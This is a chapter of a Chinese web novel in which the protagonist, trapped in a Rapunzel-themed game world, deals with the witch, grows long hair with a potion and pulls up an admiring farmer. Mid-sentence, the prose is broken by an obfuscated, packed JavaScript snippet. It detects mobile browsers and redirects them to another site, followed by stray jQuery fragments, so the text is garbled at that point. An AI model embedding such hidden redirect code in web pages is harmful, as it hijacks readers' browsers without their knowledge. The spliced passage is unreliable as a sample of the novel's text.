这怎么就播报了?十二点了??? 完蛋! 44.【60%】 女巫的住处在小巷的隐秘处,常年都是不透光的,苔藓积了厚厚一层。 昏暗的一层窗台,一只白皙的小手扒了上来。 柯乐从不知道自己有这么凄凉狼狈的时刻,这个点他可不敢走正门,他踩着巨鸟的背攀上窗台。 “安布洛斯,你稳着点,别动哈。”他用脚尖蹬了蹬鸟头,“生死存亡时刻,咱是一条船上的蚂蚱,要是被女巫发现了,我俩都吃不了兜着……” “莴苣,你真的很不乖。” 他的手被另一只粗糙的手捏住,直接被拽了上去,再抬头时就对上女巫审视的目光。 枯枝一般的手死死捏着他的小臂,女巫抄起斧头往窗外砍去,“我费了这么大力气,就是为了把你从莴苣的世界赶出去,你这个阴魂不散的死鸟!” 黑夜里,巨鸟的翅膀刷地张开,将整个窗台的光线挡得一干二净,悬空盯了他们片刻,往天际冲去。 柯乐不敢面对女巫,背包里搜刮了一遍都没什么可以与之抗衡的东西。 他低头去看女巫抓着他的手,那双手以极快的速度发皱,像泡发的干木耳。 女巫的嗓音也变得更加沙哑,“莴苣,你以后就在塔里好好待着吧,哪里都不准出去……大巫师给了我这个时间沙漏,是我没用好。” 女巫急速退化的魔力和生命力,让他联想到那位海上的传教士。 “妈妈,你是不是和大巫师交换了什么东西?”柯乐一双眼睛水灵灵的,看着女巫。 女巫的神色已经证实了他的想法,她把斧头捡起,动作缓慢,“不要随便议论大巫师……既然结局没有任何改变,那就回去吧,回到你亭亭玉立的样子。” 她拿出沙漏,沙子还漏不到一半,女巫的魔力在枯手间变成丝丝缕缕的绿光,催着沙子加快速度漏下。 光影变幻,面前的景象再次扭曲变形,他的四肢随着蓬发抽长。 * “是费切尔!他又带走了一个女孩!” 柯乐两眼一闭一睁,又回到了爬满青苔、结满黑垢的高塔上。 事情串起来了——他因为和巨鸟在小的时候的交集,所以被女巫锁在高塔上禁止出门。 女巫想要改变的是费切尔巨鸟从小就盯着莴苣姑娘的事实,然而斗转星移,高塔下开始有了社会发展的痕迹,而莴苣姑娘的命运又回到原来的轨迹上。 他现在能够轻而易举探头看到高塔外面的部分世界,即使视野非常狭隘。 楼下马车的车轱辘滚过,卖东西的小孩从巷子里跑过,拿着报纸挡在一个衣衫褴褛的男人面前。 他从上往下俯视,无法看清男人的长相。 男人背后背着一个竹篓,足足有一米高,鼓鼓囊囊的。 但男人身高腿长,身上破旧的乞丐装愣是给他穿出了巴黎世家的感觉。 “费切尔,你今天带走了谁?”小男孩绕到男人背后,“我是今日报社的,能打开看一看吗?” 费切尔?这个男人就是那个万人迷巫师费切尔? 男人在小男孩伸手时转身,背篓随着他的动作与小男孩的手错开。 男人不知说了什么,小男孩怯生生地往后退去,不敢再往前找茬。 “莴苣姑娘!”小男孩突然往塔上仰头,“你的大姐已经被他拐走,他背篓里的可能是你二姐!” 柯乐被人这样突然高喊,下意识就往墙后躲去。 余光里,费切尔的身形顿了顿,然后也往塔上望来。 他还是没能看清费切尔的脸,他的养母女巫就一斧头劈开高塔的门,怒目圆瞪喝道:“莴苣!不要和他对视!” 他轻声安抚女巫,果然等她情绪稳定后再往窗口望,下面已经没有人来往了。 “妈妈,我的两位姐姐……真的已经被带走了吗?” 柯乐知道他说的是废话,毕竟系统给的主线任务就是救出两位姐姐。 女巫果然不想正面回答他的问题,将他的匹诺曹还给他,“这个玩意看起来不是魔力制造出来的东西,你从哪里拿来的?” 柯乐借机套话:“妈妈,是一位传教士路过这里,然后让费切尔巨鸟叼给我的,说能够……” “以后不要随便拿了。”女巫厉声呵斥,“陌生人的东西不能随便拿!” “好的妈妈,我记住了。”柯乐点头应道。 “这个时间沙漏给你玩吧,对我来说没什么用,想改变的改变不了”女巫将时间沙漏放在桌子上,慈祥地问,“你有想回去的时间段吗?” 他实话实说,“没有的妈妈。” 女巫再次将他囚禁在这座高塔上,洗漱室的水滴滴哒哒,他照了镜子确认自己还是人样,然后简单冲了个澡。 他把自己沉到浴缸底,然后咕嘟嘟冒泡泡。 为了完成系统的任务,首先他得出去。 但他甚至没有办法与外界的人有交流,女巫用来囚禁他的高塔让他只能看着外面的世界,同别人呐喊。 但女巫又对喊声敏感,只要她在塔顶动静太大,女巫就会上来查看情况。 有没有绳子之类的东西爬下去呢? 童话世界里是不是用青苔编织绳子是最正常的?或者用他的月老红线? 算了,两者都是脆脆鲨。 那有什么是符合这个副本的呢…… 灵光一闪,柯乐的腰瞬间从水底拱上来,水溢出来洒了一地。 “系统,拿出美杜莎给的生发剂!” 童话故事的人物原版剧情不就是最好的参考答案吗? 【好的,这就为您拿出生发剂。】 一个套着蓝色薄膜的铝瓶出现在柯乐手上。 他直接挤了几泵,在手心抹开,然后往头发上涂。 他的头发以肉眼可见的速度增长,不出片刻就已经长出了浴缸边缘。 【美杜莎设定,在赠送生发剂时,附带赠送[吹风机]X1。】 【请问是否要将头发迅速吹干?】 他看着已经长到床边的湿发,就像井里刚刚爬出来的贞子,白吹白不吹。 这辈子如果不是因为副本角色需要,他应该不会也不可能留这么长的头发。 吹风机这样不符合时代的物品呜呜运作起来,柯乐总有种时空错乱的感觉。 很快,一头飘逸的长发散发着淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040099|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡的玫瑰香气披散开来。 【需要为您做造型吗?】 柯乐拎着头发,不由想,美杜莎家是开洗剪吹的? 但他还是有自知之明的,他这么手残的人,还是得有人……有个系统帮个忙的。 “那编成辫子吧。” 【好的。】 柔顺的头发听话地自动编织,玫瑰香气随着甩动而更加浓郁,让柯乐自己都有点迷糊。 距离女巫叫他吃下午茶应该还有三个小时。 柯乐将一个破旧的女巫菜篮子绑在发尾,欣赏成品时都不仅感叹自己的脑洞。 他把辫子垂下高塔,然后转身倚在墙边,百无聊赖地盯着黑乎乎的墙出神。 等到他迷迷糊糊要睡着时,辫子突然一重。 嗯?有东西扯他的辫子! 他慌忙像个钓鱼佬一样一边扯自己的辫子,然后时不时松一松,防止自己的长发受力不均匀而断掉。 直到他看到金黄色的发顶,他的手一颤,差点把底下的人直接摔个稀巴烂。 好在一只健硕的手臂及时攀上窗台,柯乐才稍稍松了一口气,握住来人的手把他往上拉。 这手臂肤色是纯正的小麦色,青筋突出,看起来是常年在阳光下晒出来的。 那就不是安布洛斯了……不对啊,不是安布洛斯才好呢,他在期待些什么? “hello啊,”柯乐扯了扯嘴角,朝来人打了个招呼,“你是……” 他拉上来一个金发褐眼的男人,穿着白色的衬衫,称得他的胸肌紧实。 男人扯了扯袖口,下一刻抬眸时迸发出的情绪波动让柯乐往后退了一步。 “我是农场主塔姆斯,莴苣姑娘,我已经仰慕你许久啦!这次把头发垂下,是不是就是给我一个暗号?” 啊这,没有的事啊大哥,他真不是这样的人! “不……” 塔姆斯满眼桃心地盯着他,然后把袖子卷起,露出左臂上一个龙腾刺青,“这好像是某个超强国度的神明,好看吗?” 柯乐:&……%¥#*&%!! 柯乐扯了个笑:“好看,太好看了。” 甭管好不好看的,主要是这哥们惹不起啊! 农场主塔姆斯说:“喜欢吗?” “……喜欢,太喜欢了。” 就在这时,他的精神有片刻恍惚,再回过神来时,厄洛斯从他的袖口钻了出来,然后精准落在塔姆斯的手臂上。 【您的宠物厄洛斯起床后在家园内找不到您,因此通过背包传送到您的身边。】 【柯乐先生,还请好好照顾您的宠物,避免对家园其他休息中成员造成不必要的困扰。】 柯乐看着厄洛斯,挑了挑眉。 这小东西不知道在家园怎么闹腾的,才能让系统直接把副本外成员传到这里来的。 塔姆斯惊呼:“欧!这是什么,是莴苣你养的宠物吗?太可爱啦!” 柯乐:……这是什么可爱风猛.男吗? 厄洛斯盯着塔姆斯左臂上的龙,用爪子蹭了蹭,确定不会掉色,然后…… 朝龙上哇呜吐了一口火!